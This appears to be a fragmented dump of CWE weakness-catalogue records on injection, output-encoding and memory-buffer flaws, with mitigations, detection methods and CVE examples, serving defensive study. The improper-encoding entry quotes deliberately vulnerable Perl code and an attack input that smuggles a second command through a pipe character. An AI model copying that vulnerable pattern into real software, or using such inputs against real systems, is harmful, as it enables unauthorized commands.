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These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using \"exec\" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-27", "Phase": [ "Architecture and Design" ], "Strategy": "Parameterization" }, { "Description": "\n\nRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.\n\n\nSpecifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-17", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-15", "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "\n\nWhile it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).\n\n\nInstead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-28", "Phase": [ "Implementation" ], "Strategy": "Output Encoding" }, { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n\n\nWhen constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.\n\n\nNote that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name \"O'Reilly\" would likely pass the validation step, since it is a common last name in the English language. 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The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.\n\n\nIf errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.\n\n\nAvoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.\n\n\nIn the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-39", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Use an application firewall that can detect attacks against this weakness. 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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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[ { "Description": "a common attack-oriented phrase", "Term": "SQL injection" }, { "Description": "a common abbreviation for \"SQL injection\"", "Term": "SQLi" } ]

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91

XML Injection (aka Blind XPath Injection)

Base

Simple

Draft

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The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Within XML, special elements could include reserved words or characters such as "<", ">", """, and "&", which could then be used to add new data or modify XML syntax.

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[ { "CweID": "74", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands", "Read Application Data", "Modify Application Data" ], "Likelihood": null, "Note": null, "Scope": [ "Confidentiality", "Integrity", "Availability" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" } ]

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[ { "Note": "The description for this entry is generally applicable to XML, but the name includes \"blind XPath injection\" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.", "Type": "Maintenance" }, { "Note": "In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.", "Type": "Theoretical" }, { "Note": "Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.", "Type": "Research Gap" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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1

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917

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Base

Simple

Incomplete

null

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.

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[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

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[ { "Description": "Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j)", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-44228", "Reference": "CVE-2021-44228" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

null

[ { "Description": null, "Ordinality": "Primary" } ]

[ { "Description": null, "Term": "EL Injection" } ]

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94

Improper Control of Generation of Code ('Code Injection')

Base

Simple

Draft

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The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

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Medium

[ { "CweID": "74", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Interpreted", "Name": null, "Prevalence": "Sometimes", "Type": "Language" }, { "Class": null, "Name": "AI/ML", "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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[ { "Note": "\n\nInjection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.\n", "Type": "Theoretical" } ]

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Allowed-with-Review

This entry is frequently misused for vulnerabilities with a technical impact of "code execution," which does not by itself indicate a root cause weakness, since dozens of weaknesses can enable code execution.

This weakness only applies when the product's functionality intentionally constructs all or part of a code segment. It could be that executing code could be the result of other weaknesses that do not involve the construction of code segments.

[ "Frequent Misuse", "Frequent Misinterpretation" ]

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[ { "Description": null, "Term": "Code Injection" } ]

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Improper Encoding or Escaping of Output

Class

Simple

Draft

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The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead. Most products follow a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1"). If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

High

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[ { "Note": null, "Phase": "Implementation" }, { "Note": null, "Phase": "Operation" } ]

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[ { "Description": "This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.", "DetectionMethodID": "DM-1", "Effectiveness": "Moderate", "EffectivenessNotes": "This is not a perfect solution, since 100% accuracy and coverage are not feasible.", "Method": "Automated Static Analysis" }, { "Description": "This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.", "DetectionMethodID": "DM-2", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Automated Dynamic Analysis" } ]

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IsAdministrator($username))) {\n\t```\n\t\tdie \"Error: you are not the admin.\\n\";\n\t}\n```\n# communicate with file server using a file handle* \n\t$fh = GetServerFileHandle(\"myserver\");\n\t\n\tprint $fh \"$cmd $argstr\\n\";", "IntroText": null, "Language": "Perl", "Nature": "Bad", "Reference": null }, { "BodyText": "It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the \"|\" character intact. If an attacker provides:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tSAY hello world|BAN user12\n```", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "then the front end will see this is a \"SAY\" command, and the $argstr will look like \"hello world | BAN user12\". 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Inappropriate Encoding for Output Context

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The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

This weakness can cause the downstream component to use a decoding method that produces different data than what the product intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the product. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks. While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output. For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding. While web applications have received the most attention for this problem, this weakness could potentially apply to any type of product that uses a communications stream that could support multiple encodings.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2814", "Reference": "CVE-2009-2814" } ]

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119

Improper Restriction of Operations within the Bounds of a Memory Buffer

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The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

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[ { "Impact": [ "Execute Unauthorized Code or Commands", "Modify Memory" ], "Likelihood": null, "Note": "If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can alter the intended control flow by redirecting a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.", "Scope": [ "Integrity", "Confidentiality", "Availability" ] }, { "Impact": [ "Read Memory", "DoS: Crash, Exit, or Restart", "DoS: Resource Consumption (CPU)", "DoS: Resource Consumption (Memory)" ], "Likelihood": null, "Note": "Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.", "Scope": [ "Availability", "Confidentiality" ] }, { "Impact": [ "Read Memory" ], "Likelihood": null, "Note": "In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffer's position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.", "Scope": [ "Confidentiality" ] } ]

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These libraries provide safer versions of overflow-prone string-handling functions.\n", "Effectiveness": null, "EffectivenessNotes": "This is not a complete solution, since many buffer overflows are not related to strings.", "MitigationID": "MIT-4.1", "Phase": [ "Architecture and Design" ], "Strategy": "Libraries or Frameworks" }, { "Description": "\n\nUse automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. \n\n\n D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "\n\n This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. \n", "MitigationID": "MIT-10", "Phase": [ "Operation", "Build and Compilation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\nConsider adhering to the following rules when allocating and managing an application's memory:\n\n\n - Double check that the buffer is as large as specified.\n\n - When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.\n\n - Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.\n\n - If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.\n\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-9", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "\n\nRun or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. \n\n\n Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as \"rebasing\" (for Windows) and \"prelinking\" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. \n\n\n For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]", "MitigationID": "MIT-11", "Phase": [ "Operation", "Build and Compilation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\n Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. 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Discouraged

CWE-119 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available.

Look at CWE-119's children and consider mapping to CWEs such as CWE-787: Out-of-bounds Write, CWE-125: Out-of-bounds Read, or others.

[ "Frequent Misuse" ]

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[ "Memory" ]

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120

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Base

Simple

Incomplete

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The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

High

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Allowed-with-Review

There are some indications that this CWE ID might be misused and selected simply because it mentions "buffer overflow" - an increasingly vague term. This CWE entry is only appropriate for "Buffer Copy" operations (not buffer reads), in which where there is no "Checking [the] Size of Input", and (by implication of the copy) writing past the end of the buffer.

If the vulnerability being analyzed involves out-of-bounds reads, then consider CWE-125 or descendants. For root cause analysis: if there is any input validation, consider children of CWE-20 such as CWE-1284. If there is a calculation error for buffer sizes, consider CWE-131 or similar.

[ "Frequent Misuse" ]

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[ { "Description": null, "Ordinality": "Resultant" }, { "Description": null, "Ordinality": "Primary" } ]

[ { "Description": "This term was frequently used by vulnerability researchers during approximately 1995 to 2005 to differentiate buffer copies without length checks (which had been known about for decades) from other emerging weaknesses that still involved invalid accesses of buffers, as vulnerability researchers began to develop advanced exploitation techniques.", "Term": "Classic Buffer Overflow" }, { "Description": null, "Term": "Unbounded Transfer" } ]

[ "Memory" ]

[ "Memory Management" ]

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125

Out-of-bounds Read

Base

Simple

Draft

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The product reads data past the end, or before the beginning, of the intended buffer.

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[ { "CweID": "119", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": null, "Phase": "Implementation" } ]

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[ { "Description": "The reference implementation code for a Trusted Platform Module does not implement length checks on data, allowing for an attacker to read 2 bytes past the end of a buffer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-1018", "Reference": "CVE-2023-1018" }, { "Description": "Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-11899", "Reference": "CVE-2020-11899" }, { "Description": "Chain: \"Heartbleed\" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.", "Link": "https://www.cve.org/CVERecord?id=CVE-2014-0160", "Reference": "CVE-2014-0160" }, { "Description": "HTML conversion package has a buffer under-read, allowing a crash", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-40985", "Reference": "CVE-2021-40985" }, { "Description": "Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-10887", "Reference": "CVE-2018-10887" }, { "Description": "Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2523", "Reference": "CVE-2009-2523" }, { "Description": "Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-16069", "Reference": "CVE-2018-16069" }, { "Description": "out-of-bounds read due to improper length check", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0112", "Reference": "CVE-2004-0112" }, { "Description": "packet with large number of specified elements cause out-of-bounds read.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0183", "Reference": "CVE-2004-0183" }, { "Description": "packet with large number of specified elements cause out-of-bounds read.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0221", "Reference": "CVE-2004-0221" }, { "Description": "out-of-bounds read, resultant from integer underflow", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0184", "Reference": "CVE-2004-0184" }, { "Description": "large length value causes out-of-bounds read", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1940", "Reference": "CVE-2004-1940" }, { "Description": "malformed image causes out-of-bounds read", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0421", "Reference": "CVE-2004-0421" }, { "Description": "OS kernel trusts userland-supplied length value, allowing reading of sensitive information", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4113", "Reference": "CVE-2008-4113" } ]

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[ { "Description": "When an out-of-bounds read occurs, typically the product has already made a separate mistake, such as modifying an index or performing pointer arithmetic that produces an out-of-bounds address.", "Ordinality": "Resultant" }, { "Description": null, "Ordinality": "Primary" } ]

[ { "Description": "Shorthand for \"Out of bounds\" read", "Term": "OOB read" } ]

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787

Out-of-bounds Write

Base

Simple

Draft

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The product writes data past the end, or before the beginning, of the intended buffer.

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High

[ { "CweID": "119", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Modify Memory", "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "Write operations could cause memory corruption. In some cases, an adversary can modify control data such as return addresses in order to execute unexpected code.", "Scope": [ "Integrity" ] }, { "Impact": [ "DoS: Crash, Exit, or Restart" ], "Likelihood": null, "Note": "Attempting to access out-of-range, invalid, or unauthorized memory could cause the product to crash.", "Scope": [ "Availability" ] }, { "Impact": [ "Unexpected State" ], "Likelihood": null, "Note": "Subsequent write operations can produce undefined or unexpected results.", "Scope": [ "Other" ] } ]

[ { "Description": "\n\nThis weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.\n\n\nAutomated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.\n", "DetectionMethodID": "DM-1", "Effectiveness": "High", "EffectivenessNotes": "Detection techniques for buffer-related errors are more mature than for most other weakness types.", "Method": "Automated Static Analysis" }, { "Description": "This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.", "DetectionMethodID": "DM-2", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Automated Dynamic Analysis" } ]

[ { "Description": "\n\nUse a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.\n\n\nFor example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.\n\n\nBe wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-3", "Phase": [ "Requirements" ], "Strategy": "Language Selection" }, { "Description": "\n\nUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.\n\n\nExamples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.\n", "Effectiveness": null, "EffectivenessNotes": "This is not a complete solution, since many buffer overflows are not related to strings.", "MitigationID": "MIT-4.1", "Phase": [ "Architecture and Design" ], "Strategy": "Libraries or Frameworks" }, { "Description": "\n\nUse automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. \n\n\n D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "\n\n This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. \n", "MitigationID": "MIT-10", "Phase": [ "Operation", "Build and Compilation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\nConsider adhering to the following rules when allocating and managing an application's memory:\n\n\n - Double check that the buffer is as large as specified.\n\n - When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.\n\n - Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.\n\n - If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.\n\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-9", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "\n\nRun or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. \n\n\n Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as \"rebasing\" (for Windows) and \"prelinking\" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. \n\n\n For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333].", "MitigationID": "MIT-11", "Phase": [ "Operation", "Build and Compilation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\n Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. \n\n\n For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.", "MitigationID": "MIT-12", "Phase": [ "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.", "Effectiveness": "Moderate", "EffectivenessNotes": "This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).", "MitigationID": "MIT-13", "Phase": [ "Implementation" ], "Strategy": null } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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[ { "Description": "At the point when the product writes data to an invalid location, it is likely that a separate weakness already occurred earlier. For example, the product might alter an index, perform incorrect pointer arithmetic, initialize or release memory incorrectly, etc., thus referencing a memory location outside the buffer.", "Ordinality": "Resultant" } ]

[ { "Description": "Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is otherwise invalid.", "Term": "Memory Corruption" } ]

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824

Access of Uninitialized Pointer

Base

Simple

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The product accesses or uses a pointer that has not been initialized.

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks. Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

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[ { "CweID": "119", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": null, "Name": "C", "Prevalence": "Undetermined", "Type": "Language" }, { "Class": null, "Name": "C++", "Prevalence": "Undetermined", "Type": "Language" } ]

